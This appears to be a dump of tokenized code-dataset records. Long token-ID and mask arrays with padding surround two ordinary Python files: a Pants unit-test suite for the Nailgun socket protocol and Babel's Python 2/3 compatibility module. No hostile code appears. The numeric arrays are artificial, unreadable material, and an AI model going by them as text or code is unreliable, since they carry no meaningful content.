63, 493, 29, 797, 12, 2892, 2813, 63, 3417, 63, 1725, 63, 1397, 63, 262, 63, 5369, 29, 797, 12, 221, 2892, 5532, 63, 1188, 534, 21145, 4744, 63, 5714, 14, 1652, 3130, 2892, 3326, 63, 22283, 1524, 283, 2765, 7611, 5544, 3509, 282, 2849, 570, 4310, 665, 66, 30, 3557, 63, 5714, 14, 1652, 1108, 66, 3524, 2156, 221, 2892, 3326, 63, 1397, 63, 22283, 9811, 776, 288, 291, 14, 2918, 63, 9053, 63, 8421, 63, 1606, 8, 7611, 12, 3326, 63, 22283, 1524, 283, 5157, 5124, 297, 283, 388, 16994, 4260, 2399, 730, 7, 1622, 776, 339, 347, 511, 63, 17657, 63, 981, 63, 66, 758, 63, 1095, 63, 8421, 8, 291, 3461, 267, 1449, 2499, 436, 13904, 330, 758, 63, 1095, 63, 16569, 10595, 267, 2288, 3879, 63, 20323, 267, 340, 3879, 63, 20323, 26, 288, 4637, 275, 291, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
megaserg/pants
tests/python/pants_test/java/test_nailgun_protocol.py
3
6432
# coding=utf-8 # Copyright 2015 Pants project contributors (see CONTRIBUTORS.md). # Licensed under the Apache License, Version 2.0 (see LICENSE). from __future__ import (absolute_import, division, generators, nested_scopes, print_function, unicode_literals, with_statement) import socket import unittest import mock from pants.java.nailgun_protocol import ChunkType, NailgunProtocol class TestChunkType(unittest.TestCase): def test_chunktype_constants(self): self.assertIsNotNone(ChunkType.ARGUMENT) self.assertIsNotNone(ChunkType.ENVIRONMENT) self.assertIsNotNone(ChunkType.WORKING_DIR) self.assertIsNotNone(ChunkType.COMMAND) self.assertIsNotNone(ChunkType.STDIN) self.assertIsNotNone(ChunkType.STDOUT) self.assertIsNotNone(ChunkType.STDERR) self.assertIsNotNone(ChunkType.START_READING_INPUT) self.assertIsNotNone(ChunkType.STDIN_EOF) self.assertIsNotNone(ChunkType.EXIT) class TestNailgunProtocol(unittest.TestCase): EMPTY_PAYLOAD = '' TEST_COMMAND = 'test' TEST_OUTPUT = 't e s t' TEST_WORKING_DIR = '/path/to/a/repo' TEST_ARGUMENTS = ['t', 'e', 's', 't'] TEST_ENVIRON = dict(TEST_VAR='success') def setUp(self): self.client_sock, self.server_sock = socket.socketpair() def tearDown(self): self.client_sock.close() self.server_sock.close() def test_send_and_parse_request(self): # Send a test request over the client socket. NailgunProtocol.send_request( self.client_sock, self.TEST_WORKING_DIR, self.TEST_COMMAND, *self.TEST_ARGUMENTS, **self.TEST_ENVIRON ) # Receive the request from the server-side context. working_dir, command, arguments, environment = NailgunProtocol.parse_request(self.server_sock) self.assertEqual(working_dir, self.TEST_WORKING_DIR) self.assertEqual(command, self.TEST_COMMAND) self.assertEqual(arguments, self.TEST_ARGUMENTS) self.assertEqual(environment, self.TEST_ENVIRON) def test_send_and_parse_request_bad_chunktype(self): INVALID_CHUNK_TYPE = b';' NailgunProtocol.write_chunk(self.client_sock, INVALID_CHUNK_TYPE, '1729') with self.assertRaises(NailgunProtocol.ProtocolError): NailgunProtocol.parse_request(self.server_sock) def test_read_until(self): recv_chunks = ['1', '234', '56', '789', '0'] mock_socket = mock.Mock() mock_socket.recv.side_effect = recv_chunks self.assertEqual(NailgunProtocol._read_until(mock_socket, 10), '1234567890') self.assertEqual(mock_socket.recv.call_count, len(recv_chunks)) def test_read_until_truncated_recv(self): self.server_sock.sendall(b'x') self.server_sock.close() with self.assertRaises(NailgunProtocol.TruncatedRead): NailgunProtocol._read_until(self.client_sock, 3) def test_iter_chunks(self): expected_chunks = [ (ChunkType.COMMAND, self.TEST_COMMAND), (ChunkType.STDOUT, self.TEST_OUTPUT), (ChunkType.STDERR, self.TEST_OUTPUT), (ChunkType.EXIT, self.EMPTY_PAYLOAD) # N.B. without an EXIT chunk here (or socket failure), this test will deadlock in iter_chunks. ] for chunk_type, payload in expected_chunks: NailgunProtocol.write_chunk(self.server_sock, chunk_type, payload) for i, chunk in enumerate(NailgunProtocol.iter_chunks(self.client_sock)): self.assertEqual(chunk, expected_chunks[i]) def test_read_and_write_chunk(self): # Write a command chunk to the server socket. NailgunProtocol.write_chunk(self.server_sock, ChunkType.COMMAND, self.TEST_COMMAND) # Read the chunk from the client socket. chunk_type, payload = NailgunProtocol.read_chunk(self.client_sock) self.assertEqual( (chunk_type, payload), (ChunkType.COMMAND, self.TEST_COMMAND) ) def test_read_chunk_truncated_during_header(self): """Construct a chunk and truncate to the first 3 bytes ([:3]), an incomplete header.""" truncated_chunk = NailgunProtocol.construct_chunk(ChunkType.STDOUT, self.TEST_OUTPUT)[:3] self.server_sock.sendall(truncated_chunk) self.server_sock.close() with self.assertRaises(NailgunProtocol.TruncatedHeaderError): NailgunProtocol.read_chunk(self.client_sock) def test_read_chunk_truncated_before_payload(self): """Construct a chunk and send exactly the header (first 5 bytes) and truncate the remainder.""" truncated_chunk = NailgunProtocol.construct_chunk(ChunkType.STDOUT, self.TEST_OUTPUT)[:5] self.server_sock.sendall(truncated_chunk) self.server_sock.close() with self.assertRaises(NailgunProtocol.TruncatedPayloadError): NailgunProtocol.read_chunk(self.client_sock) def test_read_chunk_truncated_during_payload(self): """Construct a chunk and truncate the last 3 bytes of the payload ([:-3]).""" truncated_chunk = NailgunProtocol.construct_chunk(ChunkType.STDOUT, self.TEST_OUTPUT)[:-3] self.server_sock.sendall(truncated_chunk) self.server_sock.close() with self.assertRaises(NailgunProtocol.TruncatedPayloadError): NailgunProtocol.read_chunk(self.client_sock) def test_send_start_reading_input(self): NailgunProtocol.send_start_reading_input(self.server_sock) chunk_type, payload = NailgunProtocol.read_chunk(self.client_sock) self.assertEqual( (chunk_type, payload), (ChunkType.START_READING_INPUT, self.EMPTY_PAYLOAD) ) def test_send_stdout(self): NailgunProtocol.send_stdout(self.server_sock, self.TEST_OUTPUT) chunk_type, payload = NailgunProtocol.read_chunk(self.client_sock) self.assertEqual( (chunk_type, payload), (ChunkType.STDOUT, self.TEST_OUTPUT) ) def test_send_stderr(self): NailgunProtocol.send_stderr(self.server_sock, self.TEST_OUTPUT) chunk_type, payload = NailgunProtocol.read_chunk(self.client_sock) self.assertEqual( (chunk_type, payload), (ChunkType.STDERR, self.TEST_OUTPUT) ) def test_send_exit_default(self): NailgunProtocol.send_exit(self.server_sock) chunk_type, payload = NailgunProtocol.read_chunk(self.client_sock) self.assertEqual( (chunk_type, payload), (ChunkType.EXIT, self.EMPTY_PAYLOAD) ) def test_send_exit(self): NailgunProtocol.send_exit(self.server_sock, self.TEST_OUTPUT) chunk_type, payload = NailgunProtocol.read_chunk(self.client_sock) self.assertEqual( (chunk_type, payload), (ChunkType.EXIT, self.TEST_OUTPUT) )
apache-2.0
[ 3, 2803, 29, 1624, 13, 24, 199, 3, 1898, 6900, 510, 2285, 2199, 8417, 334, 3239, 6483, 14, 1064, 680, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 3239, 5113, 680, 199, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 16952, 12, 6032, 63, 14129, 12, 870, 63, 1593, 12, 717, 2649, 63, 5955, 12, 543, 63, 6242, 9, 199, 199, 646, 2838, 199, 646, 2882, 199, 199, 646, 1683, 199, 199, 504, 18081, 14, 6138, 14, 5753, 17924, 63, 3922, 492, 25246, 804, 12, 653, 1054, 17924, 3658, 421, 199, 533, 1379, 9856, 804, 8, 2796, 14, 1746, 304, 523, 347, 511, 63, 4604, 466, 63, 5559, 8, 277, 304, 272, 291, 14, 10389, 8, 9856, 804, 14, 24165, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 9984, 31168, 4479, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 8406, 1206, 63, 3022, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 10761, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 18472, 568, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 13850, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 18472, 2666, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 7363, 63, 5670, 1206, 63, 7321, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 18472, 568, 63, 13178, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 17219, 9, 421, 199, 533, 1379, 46, 1054, 17924, 3658, 8, 2796, 14, 1746, 304, 523, 16589, 63, 24647, 275, 2125, 523, 7393, 63, 10761, 275, 283, 396, 7, 523, 7393, 63, 8414, 275, 283, 84, 325, 308, 307, 7, 523, 7393, 63, 8406, 1206, 63, 3022, 275, 1994, 515, 15, 475, 15, 65, 15, 3417, 7, 523, 7393, 63, 24165, 51, 275, 788, 84, 297, 283, 69, 297, 283, 83, 297, 283, 84, 418, 523, 7393, 63, 9984, 31168, 275, 1211, 8, 2864, 63, 5568, 534, 3742, 358, 819, 347, 3613, 8, 277, 304, 272, 291, 14, 1258, 63, 5096, 12, 291, 14, 1000, 63, 5096, 275, 2838, 14, 3450, 3852, 342, 819, 347, 6766, 8, 277, 304, 272, 291, 14, 1258, 63, 5096, 14, 1600, 342, 272, 291, 14, 1000, 63, 5096, 14, 1600, 342, 819, 347, 511, 63, 2254, 63, 460, 63, 1122, 63, 1069, 8, 277, 304, 272, 327, 10217, 282, 511, 1056, 1806, 314, 1890, 2838, 14, 272, 653, 1054, 17924, 3658, 14, 2254, 63, 1069, 8, 489, 291, 14, 1258, 63, 5096, 12, 489, 291, 14, 2864, 63, 8406, 1206, 63, 3022, 12, 489, 291, 14, 2864, 63, 10761, 12, 489, 627, 277, 14, 2864, 63, 24165, 51, 12, 489, 1011, 277, 14, 2864, 63, 9984, 31168, 272, 776, 339, 327, 799, 5251, 314, 1056, 687, 314, 1654, 13, 2441, 1067, 14, 272, 6449, 63, 694, 12, 1414, 12, 2368, 12, 3734, 275, 653, 1054, 17924, 3658, 14, 1122, 63, 1069, 8, 277, 14, 1000, 63, 5096, 9, 339, 291, 14, 629, 8, 9818, 63, 694, 12, 291, 14, 2864, 63, 8406, 1206, 63, 3022, 9, 272, 291, 14, 629, 8, 1531, 12, 291, 14, 2864, 63, 10761, 9, 272, 291, 14, 629, 8, 4958, 12, 291, 14, 2864, 63, 24165, 51, 9, 272, 291, 14, 629, 8, 5418, 12, 291, 14, 2864, 63, 9984, 31168, 9, 819, 347, 511, 63, 2254, 63, 460, 63, 1122, 63, 1069, 63, 4087, 63, 4604, 466, 8, 277, 304, 272, 29901, 63, 20512, 63, 2711, 275, 330, 7, 8942, 272, 653, 1054, 17924, 3658, 14, 952, 63, 4604, 8, 277, 14, 1258, 63, 5096, 12, 29901, 63, 20512, 63, 2711, 12, 283, 1196, 1398, 358, 339, 543, 291, 14, 1855, 8, 46, 1054, 17924, 3658, 14, 3658, 547, 304, 489, 653, 1054, 17924, 3658, 14, 1122, 63, 1069, 8, 277, 14, 1000, 63, 5096, 9, 819, 347, 511, 63, 739, 63, 8111, 8, 277, 304, 272, 11904, 63, 10660, 275, 788, 17, 297, 283, 5533, 297, 283, 1367, 297, 283, 24407, 297, 283, 16, 418, 272, 1683, 63, 3450, 275, 1683, 14, 3346, 342, 272, 1683, 63, 3450, 14, 7637, 14, 2441, 63, 5881, 275, 11904, 63, 10660, 272, 291, 14, 629, 8, 46, 1054, 17924, 3658, 423, 739, 63, 8111, 8, 1805, 63, 3450, 12, 1616, 395, 283, 21515, 358, 272, 291, 14, 629, 8, 1805, 63, 3450, 14, 7637, 14, 1250, 63, 835, 12, 822, 8, 7637, 63, 10660, 430, 819, 347, 511, 63, 739, 63, 8111, 63, 19347, 63, 7637, 8, 277, 304, 272, 291, 14, 1000, 63, 5096, 14, 22695, 8, 66, 7, 88, 358, 272, 291, 14, 1000, 63, 5096, 14, 1600, 342, 339, 543, 291, 14, 1855, 8, 46, 1054, 17924, 3658, 14, 20460, 3153, 3284, 304, 489, 653, 1054, 17924, 3658, 423, 739, 63, 8111, 8, 277, 14, 1258, 63, 5096, 12, 650, 9, 819, 347, 511, 63, 1661, 63, 10660, 8, 277, 304, 272, 1420, 63, 10660, 275, 359, 489, 334, 9856, 804, 14, 10761, 12, 291, 14, 2864, 63, 10761, 395, 489, 334, 9856, 804, 14, 13850, 12, 291, 14, 2864, 63, 8414, 395, 489, 334, 9856, 804, 14, 18472, 2666, 12, 291, 14, 2864, 63, 8414, 395, 489, 334, 9856, 804, 14, 17219, 12, 291, 14, 13993, 63, 24647, 9, 489, 327, 653, 14, 34, 14, 1928, 376, 3651, 649, 3728, 2348, 334, 269, 2838, 5988, 395, 642, 511, 911, 12314, 831, 315, 2740, 63, 10660, 14, 272, 1622, 339, 367, 3728, 63, 466, 12, 4886, 315, 1420, 63, 10660, 26, 489, 653, 1054, 17924, 3658, 14, 952, 63, 4604, 8, 277, 14, 1000, 63, 5096, 12, 3728, 63, 466, 12, 4886, 9, 339, 367, 284, 12, 3728, 315, 3874, 8, 46, 1054, 17924, 3658, 14, 1661, 63, 10660, 8, 277, 14, 1258, 63, 5096, 2298, 489, 291, 14, 629, 8, 4604, 12, 1420, 63, 10660, 59, 73, 566, 819, 347, 511, 63, 739, 63, 460, 63, 952, 63, 4604, 8, 277, 304, 272, 327, 6990, 282, 1414, 3728, 370, 314, 1654, 2838, 14, 272, 653, 1054, 17924, 3658, 14, 952, 63, 4604, 8, 277, 14, 1000, 63, 5096, 12, 25246, 804, 14, 10761, 12, 291, 14, 2864, 63, 10761, 9, 339, 327, 5574, 314, 3728, 687 ]
[ 2803, 29, 1624, 13, 24, 199, 3, 1898, 6900, 510, 2285, 2199, 8417, 334, 3239, 6483, 14, 1064, 680, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 3239, 5113, 680, 199, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 16952, 12, 6032, 63, 14129, 12, 870, 63, 1593, 12, 717, 2649, 63, 5955, 12, 543, 63, 6242, 9, 199, 199, 646, 2838, 199, 646, 2882, 199, 199, 646, 1683, 199, 199, 504, 18081, 14, 6138, 14, 5753, 17924, 63, 3922, 492, 25246, 804, 12, 653, 1054, 17924, 3658, 421, 199, 533, 1379, 9856, 804, 8, 2796, 14, 1746, 304, 523, 347, 511, 63, 4604, 466, 63, 5559, 8, 277, 304, 272, 291, 14, 10389, 8, 9856, 804, 14, 24165, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 9984, 31168, 4479, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 8406, 1206, 63, 3022, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 10761, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 18472, 568, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 13850, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 18472, 2666, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 7363, 63, 5670, 1206, 63, 7321, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 18472, 568, 63, 13178, 9, 272, 291, 14, 10389, 8, 9856, 804, 14, 17219, 9, 421, 199, 533, 1379, 46, 1054, 17924, 3658, 8, 2796, 14, 1746, 304, 523, 16589, 63, 24647, 275, 2125, 523, 7393, 63, 10761, 275, 283, 396, 7, 523, 7393, 63, 8414, 275, 283, 84, 325, 308, 307, 7, 523, 7393, 63, 8406, 1206, 63, 3022, 275, 1994, 515, 15, 475, 15, 65, 15, 3417, 7, 523, 7393, 63, 24165, 51, 275, 788, 84, 297, 283, 69, 297, 283, 83, 297, 283, 84, 418, 523, 7393, 63, 9984, 31168, 275, 1211, 8, 2864, 63, 5568, 534, 3742, 358, 819, 347, 3613, 8, 277, 304, 272, 291, 14, 1258, 63, 5096, 12, 291, 14, 1000, 63, 5096, 275, 2838, 14, 3450, 3852, 342, 819, 347, 6766, 8, 277, 304, 272, 291, 14, 1258, 63, 5096, 14, 1600, 342, 272, 291, 14, 1000, 63, 5096, 14, 1600, 342, 819, 347, 511, 63, 2254, 63, 460, 63, 1122, 63, 1069, 8, 277, 304, 272, 327, 10217, 282, 511, 1056, 1806, 314, 1890, 2838, 14, 272, 653, 1054, 17924, 3658, 14, 2254, 63, 1069, 8, 489, 291, 14, 1258, 63, 5096, 12, 489, 291, 14, 2864, 63, 8406, 1206, 63, 3022, 12, 489, 291, 14, 2864, 63, 10761, 12, 489, 627, 277, 14, 2864, 63, 24165, 51, 12, 489, 1011, 277, 14, 2864, 63, 9984, 31168, 272, 776, 339, 327, 799, 5251, 314, 1056, 687, 314, 1654, 13, 2441, 1067, 14, 272, 6449, 63, 694, 12, 1414, 12, 2368, 12, 3734, 275, 653, 1054, 17924, 3658, 14, 1122, 63, 1069, 8, 277, 14, 1000, 63, 5096, 9, 339, 291, 14, 629, 8, 9818, 63, 694, 12, 291, 14, 2864, 63, 8406, 1206, 63, 3022, 9, 272, 291, 14, 629, 8, 1531, 12, 291, 14, 2864, 63, 10761, 9, 272, 291, 14, 629, 8, 4958, 12, 291, 14, 2864, 63, 24165, 51, 9, 272, 291, 14, 629, 8, 5418, 12, 291, 14, 2864, 63, 9984, 31168, 9, 819, 347, 511, 63, 2254, 63, 460, 63, 1122, 63, 1069, 63, 4087, 63, 4604, 466, 8, 277, 304, 272, 29901, 63, 20512, 63, 2711, 275, 330, 7, 8942, 272, 653, 1054, 17924, 3658, 14, 952, 63, 4604, 8, 277, 14, 1258, 63, 5096, 12, 29901, 63, 20512, 63, 2711, 12, 283, 1196, 1398, 358, 339, 543, 291, 14, 1855, 8, 46, 1054, 17924, 3658, 14, 3658, 547, 304, 489, 653, 1054, 17924, 3658, 14, 1122, 63, 1069, 8, 277, 14, 1000, 63, 5096, 9, 819, 347, 511, 63, 739, 63, 8111, 8, 277, 304, 272, 11904, 63, 10660, 275, 788, 17, 297, 283, 5533, 297, 283, 1367, 297, 283, 24407, 297, 283, 16, 418, 272, 1683, 63, 3450, 275, 1683, 14, 3346, 342, 272, 1683, 63, 3450, 14, 7637, 14, 2441, 63, 5881, 275, 11904, 63, 10660, 272, 291, 14, 629, 8, 46, 1054, 17924, 3658, 423, 739, 63, 8111, 8, 1805, 63, 3450, 12, 1616, 395, 283, 21515, 358, 272, 291, 14, 629, 8, 1805, 63, 3450, 14, 7637, 14, 1250, 63, 835, 12, 822, 8, 7637, 63, 10660, 430, 819, 347, 511, 63, 739, 63, 8111, 63, 19347, 63, 7637, 8, 277, 304, 272, 291, 14, 1000, 63, 5096, 14, 22695, 8, 66, 7, 88, 358, 272, 291, 14, 1000, 63, 5096, 14, 1600, 342, 339, 543, 291, 14, 1855, 8, 46, 1054, 17924, 3658, 14, 20460, 3153, 3284, 304, 489, 653, 1054, 17924, 3658, 423, 739, 63, 8111, 8, 277, 14, 1258, 63, 5096, 12, 650, 9, 819, 347, 511, 63, 1661, 63, 10660, 8, 277, 304, 272, 1420, 63, 10660, 275, 359, 489, 334, 9856, 804, 14, 10761, 12, 291, 14, 2864, 63, 10761, 395, 489, 334, 9856, 804, 14, 13850, 12, 291, 14, 2864, 63, 8414, 395, 489, 334, 9856, 804, 14, 18472, 2666, 12, 291, 14, 2864, 63, 8414, 395, 489, 334, 9856, 804, 14, 17219, 12, 291, 14, 13993, 63, 24647, 9, 489, 327, 653, 14, 34, 14, 1928, 376, 3651, 649, 3728, 2348, 334, 269, 2838, 5988, 395, 642, 511, 911, 12314, 831, 315, 2740, 63, 10660, 14, 272, 1622, 339, 367, 3728, 63, 466, 12, 4886, 315, 1420, 63, 10660, 26, 489, 653, 1054, 17924, 3658, 14, 952, 63, 4604, 8, 277, 14, 1000, 63, 5096, 12, 3728, 63, 466, 12, 4886, 9, 339, 367, 284, 12, 3728, 315, 3874, 8, 46, 1054, 17924, 3658, 14, 1661, 63, 10660, 8, 277, 14, 1258, 63, 5096, 2298, 489, 291, 14, 629, 8, 4604, 12, 1420, 63, 10660, 59, 73, 566, 819, 347, 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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
morreene/tradenews
venv/Lib/site-packages/babel/_compat.py
10
1423
import sys import array PY2 = sys.version_info[0] == 2 _identity = lambda x: x if not PY2: text_type = str string_types = (str,) integer_types = (int, ) unichr = chr text_to_native = lambda s, enc: s iterkeys = lambda d: iter(d.keys()) itervalues = lambda d: iter(d.values()) iteritems = lambda d: iter(d.items()) from io import StringIO, BytesIO import pickle izip = zip imap = map range_type = range cmp = lambda a, b: (a > b) - (a < b) array_tobytes = array.array.tobytes else: text_type = unicode string_types = (str, unicode) integer_types = (int, long) text_to_native = lambda s, enc: s.encode(enc) unichr = unichr iterkeys = lambda d: d.iterkeys() itervalues = lambda d: d.itervalues() iteritems = lambda d: d.iteritems() from cStringIO import StringIO as BytesIO from StringIO import StringIO import cPickle as pickle from itertools import imap from itertools import izip range_type = xrange cmp = cmp array_tobytes = array.array.tostring number_types = integer_types + (float,) # # Since Python 3.3, a fast decimal implementation is already included in the # standard library. Otherwise use cdecimal when available # if sys.version_info[:2] >= (3, 3): import decimal else: try: import cdecimal as decimal except ImportError: import decimal
bsd-3-clause
[ 646, 984, 199, 646, 1625, 199, 199, 4521, 18, 275, 984, 14, 1023, 63, 815, 59, 16, 61, 508, 499, 199, 199, 63, 5582, 275, 2400, 671, 26, 671, 421, 199, 692, 440, 7843, 18, 26, 272, 1318, 63, 466, 275, 620, 272, 1059, 63, 1313, 275, 334, 495, 4258, 272, 3000, 63, 1313, 275, 334, 442, 12, 776, 272, 17742, 275, 8678, 339, 1318, 63, 475, 63, 6106, 275, 2400, 308, 12, 12011, 26, 308, 339, 25706, 275, 2400, 366, 26, 2740, 8, 68, 14, 1612, 1012, 272, 24451, 275, 2400, 366, 26, 2740, 8, 68, 14, 1459, 1012, 272, 10849, 275, 2400, 366, 26, 2740, 8, 68, 14, 1744, 1012, 339, 687, 5890, 492, 5228, 12, 11808, 272, 492, 5927, 339, 28697, 275, 3482, 272, 23646, 275, 2341, 272, 1425, 63, 466, 275, 1425, 339, 10467, 275, 2400, 282, 12, 330, 26, 334, 65, 690, 330, 9, 446, 334, 65, 665, 330, 9, 339, 1625, 63, 32557, 275, 1625, 14, 1144, 14, 32557, 199, 199, 2836, 26, 272, 1318, 63, 466, 275, 2649, 272, 1059, 63, 1313, 275, 334, 495, 12, 2649, 9, 272, 3000, 63, 1313, 275, 334, 442, 12, 1846, 9, 339, 1318, 63, 475, 63, 6106, 275, 2400, 308, 12, 12011, 26, 308, 14, 2143, 8, 10945, 9, 272, 17742, 275, 17742, 339, 25706, 275, 2400, 366, 26, 366, 14, 16007, 342, 272, 24451, 275, 2400, 366, 26, 366, 14, 13012, 342, 272, 10849, 275, 2400, 366, 26, 366, 14, 4611, 342, 339, 687, 15073, 492, 5228, 465, 11808, 272, 687, 5228, 492, 5228, 272, 492, 17572, 465, 5927, 339, 687, 7975, 492, 23646, 272, 687, 7975, 492, 28697, 272, 1425, 63, 466, 275, 4945, 339, 10467, 275, 10467, 339, 1625, 63, 32557, 275, 1625, 14, 1144, 14, 14028, 421, 199, 1955, 63, 1313, 275, 3000, 63, 1313, 435, 334, 1609, 4258, 421, 199, 3, 199, 3, 9336, 2018, 650, 14, 19, 12, 282, 7377, 6107, 4514, 365, 2575, 5120, 315, 314, 199, 3, 4465, 3555, 14, 221, 6630, 675, 286, 6355, 1380, 2808, 199, 3, 199, 692, 984, 14, 1023, 63, 815, 1491, 18, 61, 2356, 334, 19, 12, 650, 304, 272, 492, 6107, 199, 2836, 26, 272, 862, 26, 267, 492, 286, 6355, 465, 6107, 272, 871, 3545, 26, 267, 492, 6107, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 